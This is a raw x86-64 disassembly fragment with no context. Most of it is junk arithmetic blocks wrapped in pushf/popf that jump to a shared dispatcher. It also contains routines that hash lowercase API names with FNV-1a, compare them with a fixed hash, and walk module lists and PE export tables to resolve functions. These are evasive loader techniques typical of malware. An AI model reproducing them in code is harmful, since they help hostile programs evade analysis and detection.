add eax, 0x183b0ba2
xor eax, 0x719793ce
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x4b938b5f
xor eax, 0x3e471eb8
rol eax, 0x17
popf
pushf
not eax
add eax, 0x2687e8ae
xor eax, 0x8052ccb
rol eax, 7
popf
pushf
not eax
add eax, 0x7e7bae35
xor eax, 0x3befea47
rol eax, 0xa5
popf
jmp 0x14008300e
movsx eax, r8b
lea rdx, [rdx + 1]
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test r8b, r8b
jne 0x140084723
push rax
pushf
mov eax, 0x4d5cf67d
pushf
not eax
add eax, 0x2b6031ec
xor eax, 0x32b15126
rol eax, 0xab
popf
pushf
not eax
add eax, 0x5934767f
xor eax, 0x77f86a18
rol eax, 0x98
popf
pushf
not eax
add eax, 0xe83e962
xor eax, 0x7b4c4562
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x2e449244
xor eax, 0x3375572f
rol eax, 0x2c
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x115cb915
pushf
not eax
add eax, 0x1d1c537f
xor eax, 0x2369deb2
rol eax, 0x60
popf
pushf
not eax
add eax, 0x6402b8e1
xor eax, 0x3ba87405
rol eax, 0x2e
popf
jmp 0x14008300e
cmp r9d, 0x9612ab48
je 0x140084796
push rax
pushf
mov eax, 0xee06a153
pushf
not eax
add eax, 0x524e6a0f
xor eax, 0x740d0750
rol eax, 0x98
popf
pushf
not eax
add eax, 0x131541ef
xor eax, 0x2804b11f
rol eax, 0xf7
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x143cc850
pushf
not eax
add eax, 0x59434af
xor eax, 0xdffc181
rol eax, 0x41
popf
pushf
not eax
add eax, 0x401a21b3
xor eax, 0x778879d7
rol eax, 0x19
popf
pushf
not eax
add eax, 0x48854f46
xor eax, 0x3859c204
rol eax, 0xed
popf
pushf
not eax
add eax, 0x3a7905b2
xor eax, 0x747fdea2
rol eax, 6
popf
jmp 0x14008300e
test r10d, r10d
jne 0x14008483a
push rax
pushf
mov eax, 0x9c035adb
pushf
not eax
add eax, 0x3abbf7bd
xor eax, 0x61a31222
rol eax, 0x66
popf
pushf
not eax
add eax, 0x305a73a6
xor eax, 0x2750f228
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x525046e0
xor eax, 0x88b80ca
rol eax, 0x23
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x8b524c82
pushf
not eax
add eax, 0x77a60410
xor eax, 0x4628af29
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x1f7dc8cf
xor eax, 0x330b3625
rol eax, 0x31
popf
jmp 0x14008300e
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x1400848d1
push rax
pushf
mov eax, 0xec7eef3b
pushf
not eax
add eax, 0x7e665f8b
xor eax, 0x93b6909
rol eax, 0x52
popf
pushf
not eax
add eax, 0x229c0a26
xor eax, 0x6059d2cb
rol eax, 0x95
popf
pushf
not eax
add eax, 0x255913be
xor eax, 0x6b0f8f8b
rol eax, 0x76
popf
pushf
not eax
add eax, 0x2e9c0b87
xor eax, 0x65552ed1
rol eax, 0x32
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x17ebb99f
pushf
not eax
add eax, 0x76fbd061
xor eax, 0x71d7fe17
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x1b0e8fa8
xor eax, 0x6998c861
rol eax, 0x36
popf
jmp 0x14008300e
cmp qword [rax + 0x30], 0
jne 0x140084942
push rax
pushf
mov eax, 0xfa52142
pushf
not eax
add eax, 0x77b87c02
xor eax, 0x5d1c6aee
rol eax, 0x19
popf
pushf
not eax
add eax, 0x17fbdd72
xor eax, 0x75912711
rol eax, 0x36
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x16b424cb
pushf
not eax
add eax, 0x40c3cc56
xor eax, 0x3132068a
rol eax, 0xe
popf
pushf
not eax
add eax, 0x645ba0d6
xor eax, 0x2da08be8
rol eax, 0x25
popf
pushf
not eax
add eax, 0x3e39698a
xor eax, 0x8572baf
rol eax, 0xe9
popf
jmp 0x14008300e
xor r8d, r8d
mov qword [0x140042128], r8
push rax
pushf
mov eax, 0xd7a3ecfd
pushf
not eax
add eax, 0x44f00271
xor eax, 0xff0b86
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x2a064b2c
xor eax, 0x2a1a16a1
rol eax, 0x20
popf
pushf
not eax
add eax, 0x4e55ebd
xor eax, 0x18a74ee8
rol eax, 0x96
popf
jmp 0x14008300e
mov rdx, r13
mov rcx, r15
call r8
mov qword [0x140042130], rax
push rax
pushf
mov eax, 0xe5a6855a
pushf
not eax
add eax, 0xa52362e
xor eax, 0x14513537
rol eax, 0xad
popf
pushf
not eax
add eax, 0x15fda14
xor eax, 0x206157e9
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x9017b71
xor eax, 0x2bc30196
rol eax, 0xda
popf
pushf
not eax
add eax, 0x33459b84
xor eax, 0x61b00da0
rol eax, 0xd0
popf
jmp 0x14008300e
lea r11, [rsp + 0x40]
mov rax, r12
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x1400839a9
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140084237
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov r8d, dword [rcx + rdx*4]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
jmp 0x14008498b